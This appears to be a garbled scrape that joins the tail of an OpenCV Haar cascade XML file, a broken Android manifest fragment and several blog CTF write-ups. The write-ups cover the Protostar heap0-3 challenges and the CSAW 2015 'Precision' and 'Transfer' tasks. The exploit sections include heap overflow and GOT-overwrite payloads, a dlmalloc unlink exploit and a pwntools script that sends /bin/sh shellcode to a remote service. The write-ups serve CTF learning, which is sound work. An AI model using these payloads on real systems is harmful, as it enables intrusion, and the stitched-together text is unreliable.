          9 0 11 27 -1.</_>
        <_>
          9 9 11 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 4 4 21 -1.</_>
        <_>
          9 11 4 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 9 10 6 -1.</_>
        <_>
          9 11 10 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 10 8 7 -1.</_>
        <_>
          13 10 4 7 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 11 12 4 -1.</_>
        <_>
          13 11 4 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 0 12 30 -1.</_>
        <_>
          10 10 12 10 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 6 8 6 -1.</_>
        <_>
          10 8 8 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 8 12 5 -1.</_>
        <_>
          14 8 4 5 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 9 7 4 -1.</_>
        <_>
          10 11 7 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 12 10 4 -1.</_>
        <_>
          15 12 5 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 12 9 4 -1.</_>
        <_>
          10 14 9 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 0 9 27 -1.</_>
        <_>
          11 9 9 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 5 18 6 -1.</_>
        <_>
          11 5 9 3 2.</_>
        <_>
          20 8 9 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 7 9 8 -1.</_>
        <_>
          14 7 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 6 6 -1.</_>
        <_>
          14 8 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 4 10 -1.</_>
        <_>
          11 13 4 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 3 -1.</_>
        <_>
          11 9 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 6 -1.</_>
        <_>
          11 10 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 10 -1.</_>
        <_>
          11 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 9 5 4 -1.</_>
        <_>
          11 11 5 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 9 5 6 -1.</_>
        <_>
          11 11 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 9 8 -1.</_>
        <_>
          14 10 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 4 4 -1.</_>
        <_>
          11 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 8 4 -1.</_>
        <_>
          11 10 4 2 2.</_>
        <_>
          15 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 5 10 -1.</_>
        <_>
          11 15 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 6 3 -1.</_>
        <_>
          11 11 6 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 8 8 -1.</_>
        <_>
          11 14 8 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 10 12 -1.</_>
        <_>
          11 14 10 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 6 5 -1.</_>
        <_>
          14 11 3 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 6 7 -1.</_>
        <_>
          14 11 3 7 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 5 6 -1.</_>
        <_>
          11 13 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 12 5 6 -1.</_>
        <_>
          11 14 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 14 3 3 -1.</_>
        <_>
          12 14 1 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 6 4 6 -1.</_>
        <_>
          12 8 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 7 8 4 -1.</_>
        <_>
          12 7 4 2 2.</_>
        <_>
          16 9 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 4 3 -1.</_>
        <_>
          12 9 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 4 6 -1.</_>
        <_>
          12 10 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 5 3 -1.</_>
        <_>
          12 9 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 10 10 -1.</_>
        <_>
          12 8 5 5 2.</_>
        <_>
          17 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 6 1 -1.</_>
        <_>
          14 9 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 9 8 -1.</_>
        <_>
          15 9 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 4 3 -1.</_>
        <_>
          12 10 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 4 -1.</_>
        <_>
          12 10 3 2 2.</_>
        <_>
          15 12 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 6 -1.</_>
        <_>
          15 10 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 4 3 -1.</_>
        <_>
          12 11 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 8 4 -1.</_>
        <_>
          12 10 4 2 2.</_>
        <_>
          16 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 8 -1.</_>
        <_>
          12 14 6 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 2 4 -1.</_>
        <_>
          12 11 1 2 2.</_>
        <_>
          13 13 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 3 3 -1.</_>
        <_>
          12 12 3 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 3 9 -1.</_>
        <_>
          12 14 3 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 5 3 -1.</_>
        <_>
          12 12 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 3 6 -1.</_>
        <_>
          12 14 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 6 6 -1.</_>
        <_>
          15 12 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 4 3 -1.</_>
        <_>
          12 13 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 8 4 -1.</_>
        <_>
          16 12 4 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 13 7 2 -1.</_>
        <_>
          12 14 7 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 13 8 6 -1.</_>
        <_>
          12 15 8 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 16 3 2 -1.</_>
        <_>
          12 17 3 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 17 7 4 -1.</_>
        <_>
          12 19 7 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 6 2 10 -1.</_>
        <_>
          13 11 2 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 7 3 10 -1.</_>
        <_>
          13 12 3 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 8 8 4 -1.</_>
        <_>
          13 8 4 2 2.</_>
        <_>
          17 10 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 8 5 10 -1.</_>
        <_>
          13 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 9 3 4 -1.</_>
        <_>
          13 11 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 9 7 6 -1.</_>
        <_>
          13 12 7 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 10 9 7 -1.</_>
        <_>
          16 10 3 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 10 8 6 -1.</_>
        <_>
          13 13 8 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 11 9 6 -1.</_>
        <_>
          16 11 3 6 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 13 3 6 -1.</_>
        <_>
          13 15 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 0 6 27 -1.</_>
        <_>
          14 9 6 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 2 1 15 -1.</_>
        <_>
          14 7 1 5 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 10 5 8 -1.</_>
        <_>
          14 14 5 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 12 4 6 -1.</_>
        <_>
          16 12 2 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 12 6 6 -1.</_>
        <_>
          14 15 6 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 6 1 -1.</_>
        <_>
          16 13 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 6 4 -1.</_>
        <_>
          17 13 3 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 9 7 -1.</_>
        <_>
          17 13 3 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 9 8 -1.</_>
        <_>
          17 13 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 14 4 2 -1.</_>
        <_>
          16 14 2 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 14 4 9 -1.</_>
        <_>
          14 17 4 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 16 1 4 -1.</_>
        <_>
          14 18 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 11 5 6 -1.</_>
        <_>
          15 14 5 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 11 6 6 -1.</_>
        <_>
          15 14 6 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 12 4 6 -1.</_>
        <_>
          17 12 2 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 3 4 -1.</_>
        <_>
          16 14 1 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 3 6 -1.</_>
        <_>
          15 16 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 4 6 -1.</_>
        <_>
          15 16 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 15 4 2 -1.</_>
        <_>
          17 15 2 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 17 3 1 -1.</_>
        <_>
          16 17 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 8 6 9 -1.</_>
        <_>
          16 11 6 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 11 6 7 -1.</_>
        <_>
          18 11 2 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 11 5 6 -1.</_>
        <_>
          16 14 5 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 12 2 6 -1.</_>
        <_>
          17 12 1 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 13 1 6 -1.</_>
        <_>
          16 16 1 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 13 2 4 -1.</_>
        <_>
          17 13 1 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 8 3 6 -1.</_>
        <_>
          17 10 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 10 2 3 -1.</_>
        <_>
          17 11 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 10 3 3 -1.</_>
        <_>
          17 11 3 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 13 1 4 -1.</_>
        <_>
          17 15 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 16 3 2 -1.</_>
        <_>
          18 16 1 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 17 3 1 -1.</_>
        <_>
          18 17 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 3 2 24 -1.</_>
        <_>
          18 11 2 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 9 1 3 -1.</_>
        <_>
          18 10 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 9 4 6 -1.</_>
        <_>
          18 9 2 3 2.</_>
        <_>
          20 12 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 10 2 3 -1.</_>
        <_>
          18 11 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 11 2 3 -1.</_>
        <_>
          18 12 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 17 2 1 -1.</_>
        <_>
          19 17 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          19 16 2 2 -1.</_>
        <_>
          20 16 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          20 9 1 2 -1.</_>
        <_>
          20 10 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          21 10 1 2 -1.</_>
        <_>
          21 11 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          21 15 6 4 -1.</_>
        <_>
          21 15 3 2 2.</_>
        <_>
          24 17 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          22 15 4 6 -1.</_>
        <_>
          22 15 2 3 2.</_>
        <_>
          24 18 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          24 17 4 3 -1.</_>
        <_>
          26 17 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          25 17 2 5 -1.</_>
        <_>
          26 17 1 5 2.</_></rects>
      <tilted>0</tilted></_></features></cascade>
</opencv_storage>

sion="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="it.polictf2015" platformBuildVersionCode="21" platformBuildVersionName="5.0.1-1624448">
    <appl

Sunday, March 27, 2016

Protostar - Heap series writeup

I was looking to get some practice with heap-based exploits and stumbled upon the Protostar Heap series: https://exploit-exercises.com/protostar/

Heap0

The challenge can be found at: https://exploit-exercises.com/protostar/heap0/
We have to make the function winner execute instead of the nowinner function.
Running the app we get:

data is at 0x804a008, fp is at 0x804a050

In other words, the data and fp pointers are 0x48 (72) apart. Since the strcpy function is used to copy the user input into the name segment of pointer data, we just need to overflow it to write to the address of the second pointer (fp). Once we overflow it we can easily write any address we want to f->fp.
First, we need to get the addresses of the winner and nowinner functions:

objdump -d heap0 | grep winner
08048464 <winner>:
08048478 <nowinner>

In other words, after overflowing the 72 bytes, we just need to put the address of the winner function to f->fp and we are done!
Here is the solution:

./heap0 ´python  -c "print 'a'*72+\"\x64\x84\x04\x08\"´
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1

The challenge can be found at: https://exploit-exercises.com/protostar/heap1/
This challenge is somewhat similar to the previous one, with the added twist of having to hijack the printf function instead.

Notice the two strcpy functions which are obviously susceptible to an overflow.
First, let's get the addresses of the winner function:

objdump -d heap1 | grep winner
08048494 <winner>:

Because of the way the strcpy function works, this is a classical write-what-where exploit. The strcpy takes two parameters: a pointer to a destination to wrote to, and a pointer to the source which is to be copied.

If we look at the second strcpy function used: strcpy(i2->name, argv[2]);
...we see that we need to have i2->name point to the location of the printf function (in the GOT), and our user input (argv[2]) to the winner function. This is done by overflowing the first structure i1. In the first strcpy, we overwrite i2->name, so that it points to an address of our choice.
First wee need to find the number of bytes to overflow so that we can write to i2->name.
This can be done by tinkering with edb (or any other debugger).

edb --run ./heap1 `python -c "print 'a'*4+'b'*4+'c'*4+'d'*4+'e'*4+'f'*4+'g'*4+'h'*4+'i'*4"` bbb

With this it is easy to craft a payload that writes to i2->name, but where do we write to? The entry for printf in the GOT (I'm not going to go into detail about what that is, here a a few links that proved useful to me: link1, link2).
In order to get the address of printf, we first dump the addresses of the imported functions:

objdump -R heap1 

heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

NOTE: although the printf function is used in the source-code, the compiler actually uses the puts function instead (presumably because there were no format strings in the printf). This is easily verified by any decopiler you have handy...

So... we are not going to write to the address of printf, but to the address of puts (0x08049774)!
Putting it all together, we get this nice exploit:

./heap1 `python -c "print 'a'*20+'\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1453046812

Heap2

The challenge can be found at: https://exploit-exercises.com/protostar/heap2/
This one is a little different. It seems we are not ment to hijack anything, but rather trick the app into thinking that the auth->auth value is set.
Looking through the code, it seems easy enough to overflow since we have a small "helper" printf that shows us where the addresses of the auth and service pointers are.
Finding the right sequence is relatively easy:

./heap2 
[ auth = (nil), service = (nil) ]
auth baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = (nil) ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = 0x91b8018 ]
auth
[ auth = 0x91b8008, service = 0x91b8018 ]
login
you have logged in already!
[ auth = 0x91b8008, service = 0x91b8018 ]

Heap3

The challenge can be found at: https://exploit-exercises.com/protostar/heap3/
This seams to be the hardest challenge in the HEAP group of Protostar (if for no other reason the because I get a 404 not found error when accessing heap4).

It seams to rely on an old vulnerability in the Doug Lea Malloc (dlmalloc), which is not present on most modern Linux platforms today so you probably won't be able to replicate it outside the Protostar machine.
I admit to not having been aware of this exploit before hand and had to read up on it. Although I looked at many sources, the best one for me was this paper: https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf

I'm not going to go into much detail since there are resources out there explaining this vulnerability. Basically, it is another write-what-where exploit which leverages the way dlmalloc frees unused chunks.

Once again the printf (that is, puts, for the same reason as in heap1) function needs to be overwritten with the address of winner. Let's quickly find the addresses of puts and winner.

objdump -d heap3 | grep winner
08048864 <winner>:

objdump -R heap3

heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
.... TRUNCATED.....
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Since we have three buffers, we need to craft our payload so that is sits in the first buffer AND overflow the second buffer so that it thinks it is free (because that will trigger and write-what-where condition).
After tinkering with the second buffer and looking at the paper I mentioned, we need to place our source and destination addressed in the forward and backward pointer of the second buffer (because there is an unlink function/macro that will be used to empty a doubly linked list with the free chunks, and thus trigger the write-what-where).
There is still the problem of calling the winner function - we do this by filling the first buffer with a small payload like this:

push 08045564
ret

Putting it all together:

 ./heap3 `python -c 'print "KIKIKIKI\x68\x64\x88\x04\x08\xc3 " + "\xff"*32 + "\xfc\xff\xff\xff"*2 + " KIKI\x1c\xb1\x04\x08\x04\xc0\x04\x08"'`

Sunday, September 27, 2015

CSAW 2015 Quals: Exploitable 100 - Precision write-up

I worked on this challenge during the "CSAW 2015" as part of a CTF team called seven.

We are given a binary and need to exploit it on the remote system to get the flag.
First things first, let's check what type of protection we are dealing with.

# file precision_a8f6f0590c177948fe06c76a1831e650
precision_a8f6f0590c177948fe06c76a1831e650: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf2c69f92c3f6d68319ee39c0926e84bccdeb0371, not stripped

# /opt/checksec.sh --file precision_a8f6f0590c177948fe06c76a1831e650
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   precision_a8f6f0590c177948fe06c76a1831e650





Seems like no protection at all... sine NX is disabled, it's probably a sack based attack (e.g. overflow).

Surely enough, running the application a few times gives more insight into what we should do.





# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbfd01a48
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbf83e488
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope





Looks like an ordinary echo app that just prints back whatever we type in. However, interestingly we get something that looks very much like an address on the stack (0xbf83e488).

This could be the address of the input buffer on the stack - but we'll need to confirm that to be sure.

Another interesting thing is that if we provide a long enough input, we get the message "Nope" instead of our original input.

Time to peek under the hood.





.text:0804851D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804851D                 public main
.text:0804851D main            proc near               
.text:0804851D
.text:0804851D argc            = dword ptr  8
.text:0804851D argv            = dword ptr  0Ch
.text:0804851D envp            = dword ptr  10h
.text:0804851D
.text:0804851D                 push    ebp
.text:0804851E                 mov     ebp, esp
.text:08048520                 and     esp, 0FFFFFFF0h
.text:08048523                 sub     esp, 0A0h
.text:08048529                 fld     ds:dbl_8048690
.text:0804852F                 fstp    qword ptr [esp+98h]
.text:08048536                 mov     eax, ds:stdout@@GLIBC_2_0
.text:0804853B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048543                 mov     dword ptr [esp+8], 2 ; modes
.text:0804854B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048553                 mov     [esp], eax      ; stream
.text:08048556                 call    _setvbuf
.text:0804855B                 lea     eax, [esp+18h]
.text:0804855F                 mov     [esp+4], eax
.text:08048563                 mov     dword ptr [esp], offset format ; "Buff: %p\n"
.text:0804856A                 call    _printf
.text:0804856F                 lea     eax, [esp+18h]
.text:08048573                 mov     [esp+4], eax
.text:08048577                 mov     dword ptr [esp], offset aS ; "%s"
.text:0804857E                 call    ___isoc99_scanf
.text:08048583                 fld     qword ptr [esp+98h]
.text:0804858A                 fld     ds:dbl_8048690
.text:08048590                 fucomip st, st(1)
.text:08048592                 fstp    st
.text:08048594                 jp      short loc_80485A9
.text:08048596                 fld     qword ptr [esp+98h]
.text:0804859D                 fld     ds:dbl_8048690
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short loc_80485C1
.text:080485A9
.text:080485A9 loc_80485A9:                            
.text:080485A9                 mov     dword ptr [esp], offset s ; "Nope"
.text:080485B0                 call    _puts
.text:080485B5                 mov     dword ptr [esp], 1 ; status
.text:080485BC                 call    _exit
.text:080485C1 ; ---------------------------------------------------------------------------
.text:080485C1
.text:080485C1 loc_80485C1:                            
.text:080485C1                 mov     eax, str
.text:080485C6                 lea     edx, [esp+18h]
.text:080485CA                 mov     [esp+4], edx
.text:080485CE                 mov     [esp], eax      ; format
.text:080485D1                 call    _printf
.text:080485D6                 leave
.text:080485D7                 retn
.text:080485D7 main            endp


It looks like we have some sort of primitive version of a stack cookie!

After taking the input, the app check if the stack still contains the value 64.33333 (which is located at dbl_8048690).

The value seems to be: 0x475a31a5 0x40501555




And indeed, the leaked address is the address of our buffer on the stack. Guess we don't need to worry about ASLR  :)

Let's take a look at the stack





bfa8:a960|b775bb58|X.u.|
bfa8:a964|00000001|....|
bfa8:a968|00000000|....|
bfa8:a96c|00000001|....|
bfa8:a970|b777d908|..w.|
bfa8:a974|b75db8d0|..].|
bfa8:a978|bfa8aa84|....|
bfa8:a97c|bfa8c6c4|....|ASCII "precision_a8f6f0590c177948fe06c76a1831e650"
bfa8:a980|b76b2a37|7*k.|return to b76b2a37
bfa8:a984|b760b315|..`.|return to b760b315
bfa8:a988|0000002f|/...|
bfa8:a98c|b773bff4|..s.|
bfa8:a990|00000000|....|
bfa8:a994|bfa8aa30|0...|
bfa8:a998|b773cce0|..s.|
bfa8:a99c|08048385|....|return to 08048385
bfa8:a9a0|b776e590|..v.|
bfa8:a9a4|08048420| ...|
bfa8:a9a8|0804a000|....|
bfa8:a9ac|08048632|2...|return to 08048632
bfa8:a9b0|00000001|....|
bfa8:a9b4|bfa8aa84|....|
bfa8:a9b8|bfa8aa8c|....|
bfa8:a9bc|bfa8a9d8|....|
bfa8:a9c0|b760b515|..`.|return to b760b515
bfa8:a9c4|b776e590|..v.|
bfa8:a9c8|475a31a5|.1ZG|    <================================== This is the stack cookie
bfa8:a9cc|40501555|U.P@|    <================================== This is the stack cookie
bfa8:a9d0|080485e0|....|
bfa8:a9d4|00000000|....|


Since NX is not enabled for the stack, we can execute the shellcode once it is put on the stack. 

We only need to:


keep in mind that at offset 152 we have a stack cookie which we must not overwrite with something else
jump to the buffer (payload) address on stack and execute our shellcode
find a shellcode that is getting past _isoc99_scanf






The first two steps are nothing new - I my past posts I have shown how to easily find the offset on which the jump address (step 2) needs to be, so I will not repeat it this time...

A more interesting dilemma is step 3!

I tried generating numerous shellcodes with msfvenom, only to find that my shellcode get's split at various bad characters like: 0x0b, 0x09, 0x20, and many more.

After a lot of trial and error, I finally got this exploit to get pass the _isoc99_scanf function.

After putting it all together, we get the following exploit script:






#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack, unpack

MAGIC_VALUE_1 = 0x475a31a5
MAGIC_VALUE_2 = 0x40501555

shellcode="\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8\x03\xcd\x80"

conn = remote("localhost", 4444) 
# conn = remote("54.173.98.115", 1259) 

recieved = conn.recvuntil("\n")
buffer_address = int(recieved[6:], 16)
log.info("Recieved: " + recieved)
log.info("Buffer is at %s" % hex(buffer_address))
esp = buffer_address - 0x18
log.info("ESP is: %s" % hex(esp))
magic_value_address = esp + 0x98
log.info("Magic value is at: %s" % hex(magic_value_address))
log.info("Shellcode length: %s" % len(shellcode))
shellcode_address = buffer_address + 152 + 24
#shellcode_address = shellcode_address-0xa0
log.info("Shellcode is at: %s" % hex(shellcode_address))

payload = shellcode + "A" * (152-24-len(shellcode)) +str(p32(MAGIC_VALUE_1))  + str(p32(MAGIC_VALUE_2)) + "B" * 12 + str(p32(buffer_address))
# payload = "A" * 10

log.info("Sending payload")
conn.sendline(payload)
conn.interactive()

Friday, September 25, 2015

CSAW 2015 Quals: Forensic 100 - Transfer write-up

I worked on this challenge during the "CSAW 2015" as part of a CTF team called seven.

We get a PCAP and need to find the hidden flag.
Looking at the traffic in the PCAP, there doesn't seem to be anything interesting ... a bunch of HTTP requests (some HTTPS, hence the TLS).

Seeing as how there were numerous requests towards Google, Facebook, Twitter, csaw.engineering.nyu.edu, and other sites... I tried the next logical thing and took a look at the files that were transferred. This is easily done using Wiresharks file export feature.

